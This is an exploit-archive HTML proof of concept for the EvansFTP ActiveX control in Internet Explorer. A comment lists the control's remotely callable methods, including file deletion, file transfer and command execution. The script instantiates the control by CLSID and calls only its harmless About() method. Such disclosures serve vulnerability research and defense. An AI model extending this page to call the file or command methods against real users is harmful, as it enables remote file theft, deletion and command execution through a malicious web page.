<HTML> <!-- - EvansFTP (EvansFTP.ocx) Remote Insecure Methods Exploit - Author: t0pP8uZz Homepage: h4ck-y0u.org / milw0rm.com Description: ActiveX Remote Insecure Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched ActiveX: http://www.evansprogramming.com/evansftp.asp The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions. InternetExplorer can Initialise this ActiveX control, And take advantage of its functions. Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions. the function being About() all this will do is lauch a friendly, harmless dialog box, therefore being the perfect POC. - EvansFTP.ocx - About Displays the Evans FTP control About Dialog. CancelTransfer Cancels in-progress file and data connection transfers. Connect Opens a connection to the remote FTP server and starts a new session thread (logs in). DeleteFile Deletes file(s) from a remote serversÂ’ directory. Disconnect Disconnects an FTP session (logs out). Execute Executes a remote FTP server command. GetDirectory Returns a list of directory information from the remote server. GetFile Transfers files from a remote FTP server to a local PC. MakePath Creates a path on the remote server. MakePath can create multiple nested subdirectories with a single command. MkDir Creates a folder on the remote FTP server. Ping Tests if a remote server is responding. PutFile Transfers files from the local PC to a remote FTP server. RenameFile Renames a file on the remote FTP server. RmDir Removes a directory from the remote FTP server. WriteToConnection This method writes to an open data connection such as would be required to execute an ftp command like APPE. Peace. --> <OBJECT ID="test" CLASSID="CLSID:DA3C77F4-8701-11D4-908B-00010268221D">Could Not Load ActiveX Control.</OBJECT> <script language="javascript"> /* - EvansFTP (EvansFTP.ocx) Remote Insecure Methods Exploit - */ /* Javascript Code By t0pP8uZz */ test.About(); </script> </HTML> # milw0rm.com [2008-05-09]